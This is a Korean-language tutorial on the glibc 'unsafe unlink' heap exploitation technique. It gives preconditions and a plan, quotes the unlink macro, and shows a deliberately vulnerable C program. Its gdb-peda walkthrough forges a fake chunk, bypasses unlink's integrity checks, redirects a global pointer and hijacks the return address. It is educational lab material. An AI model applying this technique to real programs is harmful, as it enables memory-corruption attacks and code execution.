Excuse the ads! We need some help to keep our site up.
List
Conditions
- 해당 기술은 다음과 같은 조건에서 동작합니다.
- 공격자에 의해 생성된 Heap 영역이 전역 변수에서 관리 되어야 합니다.(악용대상)
- 공격자에 의해 크기가 0x80 이상의 Heap 영역을 할당 할 수 있어야 합니다.
- 공격자에 의해 1번째 Heap 영역(Allocated)에 Fake chunk을 저장 할 수 있어야 합니다.
- 공격자에 의해 2번째 Heap 영역(Allocated)의 Header를 덮어쓸 수 있어야 합니다.
- Allocated chunk의 size 값에서 PREV_INUSE 이 제거되어야 합니다.
- 공격자에 의해 2번째 Heap 영역을 해제 할 수 있어야 합니다.
Exploit plan
다음과 같은 방법으로 공격할 수 있습니다.
2개의 Heap 영역을 할당 합니다.
Heap size : 0x80
- 할당받은 첫번째 Heap 영역의 주소는 전역변수에 저장합니다.
1번째 Heap 영역에 Fake chunk(Free) 구조를 저장합니다.(fd, bk)
fd : Target Address(전역변수 주소) - 0x18
- bk : Target Address(전역변수 주소) - 0x10
2번째 Heap 영역의 Header 값을 다음과 같이 변경합니다.
"prev_size" 설정 : 0x90 - 0x10 = 0x80
"PREV_INUSE" flag 해제 : 0x91 - 0x1 = 0x90
- 2번째 Heap 영역이 Free chunk 구조로 변경되었습니다.
2번째 Heap 영역을 해제 합니다.
- 전역변수 영역에 Fake chunk의 fd값이 저장됩니다.
- 전역변수[3] 영역에 공격자가 접근하려는 주소 값을 저장합니다.
- 전역변수를 통해 원하는 영역에 값을 쓸 수 있습니다.
FD->bk != P || BK->fd != P
- 아래와 같이 unlink()함수에서 P→fd→bk, P→bk→fd 의 값이 P의 값과 다른지 확인합니다.
- 값이 다를 경우 Error 메시지를 출력합니다.
"corrupted double-linked list"
- 값이 다를 경우 Error 메시지를 출력합니다.
- 해당 조건을 우회하기 위해 다음과 같은 Fake chunk가 필요합니다.
- fd 영역에 "fake chunk 주소가 저장된 변수의 주소 - 0x18" 값을 저장합니다.
- bk 영역에 "fake chunk 주소가 저장된 변수의 주소 - 0x10" 값을 저장합니다.
chunksize(P) != prev_size (next_chunk(P)
- 아래와 같이 unlink()함수에서 P→size와 next chunk→prev_size 의 값이 다른지 확인합니다.
- 값이 다를 경우 "corrupted size vs. prev_size" Error 메시지를 출력합니다.
- 해당 조건을 우회하기 위해 다음과 같은 Fake chunk가 필요합니다.
- prev_size : 0x0
- size : 0x0
- 해당 취약성은 Heap 영역을 재할당 받기 위한 것이 아니기 때문에 prev_size, size 영역에 0x0을 저장해 해당 조건을 우회만 합니다.
- size영역의 값이 0x0이기 때문에 next chunk의 주소는 fake chunk의 주소가 됩니다.
- P→size : 0x0
- next chunk→prev_size : 0x0(Fack chunk의 prev_size 영역)
- size영역의 값이 0x0이기 때문에 next chunk의 주소는 fake chunk의 주소가 됩니다.
#define unlink(AV, P, BK, FD)
/* Take a chunk off a bin list */ #define unlink(AV, P, BK, FD) { \ if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ else { \ FD->bk = BK; \ BK->fd = FD; \ if (!in_smallbin_range (chunksize_nomask (P)) \ && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)", \ P, AV); \ if (FD->fd_nextsize == NULL) { \ if (P->fd_nextsize == P) \ FD->fd_nextsize = FD->bk_nextsize = FD; \ else { \ FD->fd_nextsize = P->fd_nextsize; \ FD->bk_nextsize = P->bk_nextsize; \ P->fd_nextsize->bk_nextsize = FD; \ P->bk_nextsize->fd_nextsize = FD; \ } \ } else { \ P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ } \ } \ } \ }
- Fake chunk 구조
__builtin_expect (FD->bk != P || BK->fd != P, 0)
- P→fd : 0x601048
- P→bk : 0x601050
- P→fd→bk : 0x602010
- P→bk→fd : 0x602010
- P→fd : 0x601048
__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)
- P→size : 0x0
- next chunk : 0x602010 + 0x0 = 0x602010
- next chunk→prev_size : 0x0
- P→size : 0x0
Fake chunk struct
Example
Files
Source code
#include <stdio.h> #include <stdlib.h> char *buf1; void main(){ buf1 = malloc(0x80); printf("buf1 : %p\n",&buf1); char *buf2 = malloc(0x80); scanf("%144s",buf1); free(buf2); scanf("%32s",buf1); scanf("%128s",buf1); }
Exploit flow
Exploit flow - unsafe unlink
Debugging
- 다음과 같이 Break point를 설정합니다.
0x40067c : 첫번째 scanf() 호출
0x400688 : free() 함수 호출
0x4006a1 : 두번째 scanf() 호출
0x4006ba : 세번째 scanf() 호출
Break points
gdb-peda$ b *0x000000000040067c Breakpoint 1 at 0x40067c gdb-peda$ b *0x0000000000400688 Breakpoint 2 at 0x400688 gdb-peda$ b *0x00000000004006a1 Breakpoint 3 at 0x4006a1 gdb-peda$ b *0x00000000004006ba Breakpoint 4 at 0x4006ba gdb-peda$
- 다음과 같이 첫번째 Heap영역과 두번째 Heap영역의 Header부분을 덮어씁니다.
'A' * 16 : Fake chunk(prev_size, size) 영역
'B' * 16 : Fake chunk(fd, bk) 영역
'C' * 96 : Empty
'D' * 16 : 2번째 Heap의 Chunk header 변경
Break point - 0x40067c
gdb-peda$ r Starting program: /home/lazenca0x0/Documents/def/unsafe buf1 : 0x601060 Breakpoint 1, 0x000000000040067c in main () gdb-peda$ x/40gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000091 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000000000 0x6020e0: 0x0000000000000000 0x0000000000000000 0x6020f0: 0x0000000000000000 0x0000000000000000 0x602100: 0x0000000000000000 0x0000000000000000 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000020ee1 0x602130: 0x0000000000000000 0x0000000000000000 gdb-peda$ ni AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDD 0x0000000000400681 in main () gdb-peda$ x/40gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x4141414141414141 0x4141414141414141 0x602020: 0x4242424242424242 0x4242424242424242 0x602030: 0x4343434343434343 0x4343434343434343 0x602040: 0x4343434343434343 0x4343434343434343 0x602050: 0x4343434343434343 0x4343434343434343 0x602060: 0x4343434343434343 0x4343434343434343 0x602070: 0x4343434343434343 0x4343434343434343 0x602080: 0x4343434343434343 0x4343434343434343 0x602090: 0x4444444444444444 0x4444444444444444 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000000000 0x6020e0: 0x0000000000000000 0x0000000000000000 0x6020f0: 0x0000000000000000 0x0000000000000000 0x602100: 0x0000000000000000 0x0000000000000000 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000020ee1 0x602130: 0x0000000000000000 0x0000000000000000 gdb-peda$
- 다음과 같이 Fake chunk와 Chunk header를 생성 및 변경합니다.
- Fake chunk struct
- Fake chunk prev_size(0x602010) : 0x0
- Fake chunk size(0x602018) : 0x0
- Fake chunk fd(0x602020) : 전역변수 buf1 addr(0x601060) - 0x18 = 0x601048
- Fake chunk bk(0x602028) : 전역변수 buf1 addr(0x601060) - 0x10 = 0x601050
- Chunk header
- Allocated chunk prev_size(0x602090) = 0x80
- Allocated chunk size(0x602090) = 0x90
- Fake chunk struct
Create fake chunk and overwrite to Allocated chunk
gdb-peda$ set *0x602010 = 0x0 gdb-peda$ set *0x602014 = 0x0 gdb-peda$ set *0x602018 = 0x0 gdb-peda$ set *0x60201c = 0x0 gdb-peda$ set *0x602020 = 0x601060 - 0x18 gdb-peda$ set *0x602024 = 0x0 gdb-peda$ set *0x602028 = 0x601060 - 0x10 gdb-peda$ set *0x60202c = 0x0 gdb-peda$ set *0x602090 = 0x80 gdb-peda$ set *0x602094 = 0x0 gdb-peda$ set *0x602098 = 0x90 gdb-peda$ set *0x60209c = 0x0 gdb-peda$ x/40gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000601048 0x0000000000601050 0x602030: 0x4343434343434343 0x4343434343434343 0x602040: 0x4343434343434343 0x4343434343434343 0x602050: 0x4343434343434343 0x4343434343434343 0x602060: 0x4343434343434343 0x4343434343434343 0x602070: 0x4343434343434343 0x4343434343434343 0x602080: 0x4343434343434343 0x4343434343434343 0x602090: 0x0000000000000080 0x0000000000000090 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000000000 0x6020e0: 0x0000000000000000 0x0000000000000000 0x6020f0: 0x0000000000000000 0x0000000000000000 0x602100: 0x0000000000000000 0x0000000000000000 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000020ee1 0x602130: 0x0000000000000000 0x0000000000000000 gdb-peda$
- 다음과 같이 변조된 Chunk header, Fake chunk로 인해 buf1에 저장된 값이 변경되었습니다.
- Free() 전 : 전역변수 buf1(0x601060) → 0x602010
- Free() 후 : 전역변수 buf1(0x601060) → 0x601048
- 이러한 현상은 free() 함수에서 fake chunk의 bk영역을 다음 Chunk가 존재한다고 판단했기 때문입니다.
- Free() 함수는 0x601050 영역이 다음 chunk이기 때문에 fd 영역(0x601060)에 Fake chunk의 fd값(0x601048)을 저장합니다.
The value of buf1 changed.
gdb-peda$ c Breakpoint 2, 0x0000000000400688 in main () gdb-peda$ x/gx 0x601060 0x601060 <buf1>: 0x0000000000602010 gdb-peda$ ni 0x000000000040068d in main () gdb-peda$ x/gx 0x601060 0x601060 <buf1>: 0x0000000000601048 gdb-peda$
- 다음과 같이 buf1 영역에 원하는 주소 값을 저장 할 수 있습니다.
- buf1 변수에 저장된 주소는 0x601048 입니다.
- 그리고 buf1 변수의 주소는 0x601060 입니다.
- 즉, 0x601048 + 0x18 영역에 값을 쓸수 있다면, buf1에 저장된 주소값을 변경할 수 있게되는 것입니다.
- 이로 인해 Stack, .got, .plt , 영역 등에 접근하여 값을 변경 할 수 있게 됩니다.
- 아래 예제에서는 set 명령어를 이용해 buf1(0x601060)영역에 저장된 값을 rsp에 저장된 주소로 변경합니다.
The value is overwritten in the Buf1.
gdb-peda$ c Breakpoint 3, 0x00000000004006a1 in main () gdb-peda$ i r rsi rsi 0x601048 0x601048 gdb-peda$ ni AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC gdb-peda$ x/gx 0x601060 0x601060 <buf1>: 0x4343434343434343 gdb-peda$ i r rsp rsp 0x7fffffffe180 0x7fffffffe180 gdb-peda$ set *0x601060 = 0x7fffffffe180 gdb-peda$ set *0x601064 = 0x7fff gdb-peda$ x/gx 0x601060 0x601060 <buf1>: 0x00007fffffffe180 gdb-peda$
- 다음과 같이 buf1 영역에 입력된 값에 의해 "Segmentation fault" 이 발생합니다.
- buf1 영역에 'A' * 128개를 입력합니다.
- 입력된 값이 "ret" 명령어에 영향을 주어 "Segmentation fault" 이 발생합니다.
You can access the stack area.
gdb-peda$ c Breakpoint 4, 0x00000000004006ba in main () gdb-peda$ i r rsp rsp 0x7fffffffe180 0x7fffffffe180 gdb-peda$ ni AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0x00000000004006bf in main () gdb-peda$ c Continuing. Program received signal SIGSEGV, Segmentation fault. Stopped reason: SIGSEGV 0x00000000004006c0 in main () gdb-peda$ bt #0 0x00000000004006c0 in main () #1 0x4141414141414141 in ?? () #2 0x4141414141414141 in ?? () #3 0x4141414141414141 in ?? () #4 0x4141414141414141 in ?? () #5 0x4141414141414141 in ?? () #6 0x4141414141414141 in ?? () #7 0x4141414141414141 in ?? () #8 0x4141414141414141 in ?? () #9 0x4141414141414141 in ?? () #10 0x4141414141414141 in ?? () #11 0x4141414141414141 in ?? () #12 0x4141414141414141 in ?? () #13 0x4141414141414141 in ?? () #14 0x0000000000000000 in ?? () gdb-peda$
Related information
- https://github.com/shellphish/how2heap
- https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30#l1344
- https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=54e406bcb67478179c9d46e72b63251ad951f356;hb=HEAD#l1404